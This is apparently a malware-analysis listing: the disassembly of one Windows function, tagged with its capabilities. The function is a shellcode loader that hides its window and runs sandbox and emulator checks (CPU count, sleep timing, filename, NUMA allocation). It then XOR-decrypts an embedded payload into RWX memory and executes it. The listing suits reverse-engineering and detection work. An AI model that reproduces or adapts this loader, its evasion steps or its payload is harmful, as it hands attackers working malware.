Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Get system information on windows
Hide graphical window

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x5c0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x560], ecx
mov qword [rbp + 0x568], rdx
call fcn.140001bc0
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x520], rax
mov rax, qword [rbp + 0x520]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x4b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x4d0]
mov dword [rbp + 0x51c], eax
cmp dword [rbp + 0x51c], 1
jg 0x140001602
mov ecx, 0
call sub.msvcrt.dll_exit
mov qword [rbp + 0x510], 0
mov ecx, 0xbd57746
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x510], rax
cmp qword [rbp + 0x510], 0
je 0x140001642
mov rax, qword [rbp + 0x510]
mov r8d, 0xbd57746
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x50c], eax
mov ecx, 0x7f13
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x508], eax
mov eax, dword [rbp + 0x508]
sub eax, dword [rbp + 0x50c]
cmp eax, 0x7f12
jg 0x14000168b
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x568]
mov rax, qword [rax]
lea rdx, str.Malicious.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x1400016f6
mov dword [rbp + 0x504], 0
movabs rax, 0x491877ee3
mov qword [rbp + 0x4f8], rax
mov qword [rbp + 0x538], 0
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x530], 0
jmp 0x140001710
mov ecx, 0
call sub.msvcrt.dll_exit
add qword [rbp + 0x538], 1
add qword [rbp + 0x530], 1
mov rax, qword [rbp + 0x530]
cmp rax, qword [rbp + 0x4f8]
jl 0x140001700
mov rax, qword [rbp + 0x538]
cmp rax, qword [rbp + 0x4f8]
je 0x14000173a
mov ecx, 0
call sub.msvcrt.dll_exit
mov qword [rbp + 0x4f0], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
call rax
mov qword [rbp + 0x4f0], rax
cmp qword [rbp + 0x4f0], 0
je 0x140001a05
lea rax, str.kvRVZJbhj
mov rcx, rax
call fcn.140001530
lea rax, [rbp + 0x2b0]
lea rdx, [0x14000a018]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
movabs rax, 0x18d3551458938bc7
movabs rdx, 0x804a9b0f53c5bd55
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], rdx
movabs rax, 0xb12efd147c7ec3b8
movabs rdx, 0xefdd033e498a432e
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rdx
movabs rax, 0x4f8846ac09c3bc0a
movabs rdx, 0x8f814b45b0d212d6
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rdx
movabs rax, 0xea52318b47f24efb
movabs rdx, 0x39b4460be6dc9db7
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rdx
movabs rax, 0x4da9d81e54226abb
movabs rdx, 0x8ccf0a0f31dafa87
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], rdx
movabs rax, 0xb5aa69695de35818
movabs rdx, 0x2dc0b92e32826e1f
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rdx
movabs rax, 0x8efea2b772bfe65c
movabs rdx, 0xa55cfc7d5103b50c
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rdx
movabs rax, 0x4c85de7f00e2849e
movabs rdx, 0x81ebcefccbc24c5a
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], rdx
movabs rax, 0x3d9617503aace3d7
movabs rdx, 0x7c223b8c22053296
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], rdx
movabs rax, 0x6a1f5b467ecd9dd7
movabs rdx, 0xa0bb9886d7ddfa12
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], rdx
movabs rax, 0x3226239205f9344f
movabs rdx, 0xc4709df6ff4d9d81
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], rdx
movabs rax, 0x6f23dd36a1a47887
movabs rdx, 0x8f9ef329b757f309
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x268], rdx
movabs rax, 0x674d04ef0142c59c
movabs rdx, 0x2ca0878f9e25fdb7
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x278], rdx
movabs rax, 0x6cca67099ceb01d8
movabs rdx, 0x9256536bef4d1a66
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x288], rdx
movabs rax, 0x1ecb7b7c497c60c9
movabs rdx, 0x987dfd1ddcee6d7c
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], rdx
movabs rax, 0x8452bdd6987dfd
mov qword [rbp + 0x29d], rax
mov dword [rbp + 0x52c], 0
mov dword [rbp + 0x528], 0
jmp 0x140001a61
mov ecx, 0
call sub.msvcrt.dll_exit
cmp dword [rbp + 0x52c], 0xf4
jne 0x140001a25
mov dword [rbp + 0x52c], 0
mov eax, dword [rbp + 0x528]
cdqe
movzx edx, byte [rbp + rax + 0x2b0]
mov eax, dword [rbp + 0x52c]
cdqe
movzx eax, byte [rbp + rax + 0x1b0]
xor edx, eax
mov eax, dword [rbp + 0x528]
cdqe
mov byte [rbp + rax - 0x50], dl
add dword [rbp + 0x52c], 1
add dword [rbp + 0x528], 1
mov eax, dword [rbp + 0x528]
cmp eax, 0x1fe
jbe 0x140001a0f
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1ff
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x4e8]
mov rdx, rax
lea rax, [rbp - 0x50]
mov ecx, 0x1ff
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x4e8]
call rax
mov eax, 0
add rsp, 0x5c0
pop rsi
pop rdi
pop rbp
ret